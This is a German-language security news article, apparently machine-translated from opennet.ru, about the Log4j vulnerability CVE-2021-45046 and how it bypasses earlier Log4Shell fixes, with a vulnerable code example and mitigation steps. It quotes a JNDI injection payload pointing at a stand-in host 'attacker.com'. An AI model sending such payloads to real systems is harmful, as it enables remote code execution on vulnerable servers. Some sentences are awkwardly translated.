Eine weitere Schwachstelle wurde in der Implementierung von JNDI-Lookups in der Log4j 2-Bibliothek (CVE-2021-45046) identifiziert, die trotz der in Release 2.15 hinzugefügten Korrekturen und unabhängig von der Verwendung der Einstellung „log4j2.noFormatMsgLookup“ zum Schutz auftritt. Das Problem ist vor allem für ältere Versionen von Log4j 2 gefährlich, die durch das „noFormatMsgLookup“-Flag geschützt sind, da es die Umgehung des Schutzes vor früheren Schwachstellen (Log4Shell, CVE-2021-44228) ermöglicht, wodurch Sie Ihren Code darauf ausführen können Server. Für Benutzer der Version 2.15 beschränkt sich die Ausnutzung darauf, die Anwendung aufgrund der Erschöpfung der verfügbaren Ressourcen zum Absturz zu bringen.
Die Sicherheitslücke tritt nur auf Systemen auf, die Kontextsuchen für die Protokollierung verwenden, wie z. B. ${ctx:loginId}, oder MDC-Vorlagen (Thread Context Map), wie z. B. %X, %mdc und %MDC. Bei der Operation geht es darum, Bedingungen für die Ausgabe von Daten, die JNDI-Ersetzungen enthalten, an das Protokoll zu erstellen, wenn Kontextabfragen oder MDC-Vorlagen in der Anwendung verwendet werden, die die Regeln für die Formatierung der Ausgabe an das Protokoll definieren.
Forscher von LunaSec stellten fest, dass diese Schwachstelle bei Log4j-Versionen unter 2.15 als neuer Vektor für einen Log4Shell-Angriff genutzt werden kann, der zur Codeausführung führt, wenn ThreadContext-Ausdrücke in der Protokollausgabe verwendet werden, die externe Daten enthalten, unabhängig davon, ob dies der Fall ist „protect“-Flag ist aktiviert. noMsgFormatLookups“ oder die Vorlage „%m{nolookups}“.
Die Umgehung des Schutzes beruht auf der Tatsache, dass dieser Ausdruck nicht direkt durch den Wert einer Zwischenvariablen ersetzt wird, die in den Regeln zur Formatierung der Protokollausgabe verwendet wird, sondern durch den Wert einer Zwischenvariablen . Wenn beispielsweise die Kontextabfrage ${ctx:apiversion} bei der Ausgabe in das Protokoll verwendet wird, kann der Angriff durch Ersetzen der Daten „${jndi:ldap://attacker.com/a}“ durchgeführt werden Wert, der in die Apiversion-Variable geschrieben wird. Beispiel für anfälligen Code: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Der HTTP-Header-Wert „X-Api-Version“ wird an den ThreadContext übergeben ThreadContext.put("apiversion ", apiVersion ); // Bei der Ausgabe in das Protokoll wird der externe Apiversion-Wert mit der Substitution verarbeitet ${ctx:apiversion} logger.info("Received a request for API version"); return „Hallo, Welt!“; }
In Log4j Version 2.15 kann die Schwachstelle genutzt werden, um DoS-Angriffe durchzuführen, wenn Werte an den ThreadContext übergeben werden, was zu einer Schleife bei der Verarbeitung von Ausgabeformatierungsvorlagen führt.
Um die Schwachstelle zu schließen, wurden die Updates 2.16 und 2.12.2 veröffentlicht. Im Log4j 2.16-Zweig ist zusätzlich zu den in Version 2.15 implementierten Korrekturen und der Bindung von JNDI-LDAP-Anfragen an „localhost“ die JNDI-Funktionalität standardmäßig vollständig deaktiviert und die Unterstützung für Nachrichtenersetzungsvorlagen wurde entfernt. Um die Sicherheit zu umgehen, wird empfohlen, die JndiLookup-Klasse aus dem Klassenpfad zu entfernen (z. B. „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class“). .
Sie können das Erscheinen von Fixes in Paketen auf den Seiten von Distributionen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) und Java-Plattformherstellern (GitHub, Docker, Oracle, vmWare, Broadcom und Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure usw.).
Source: opennet.ru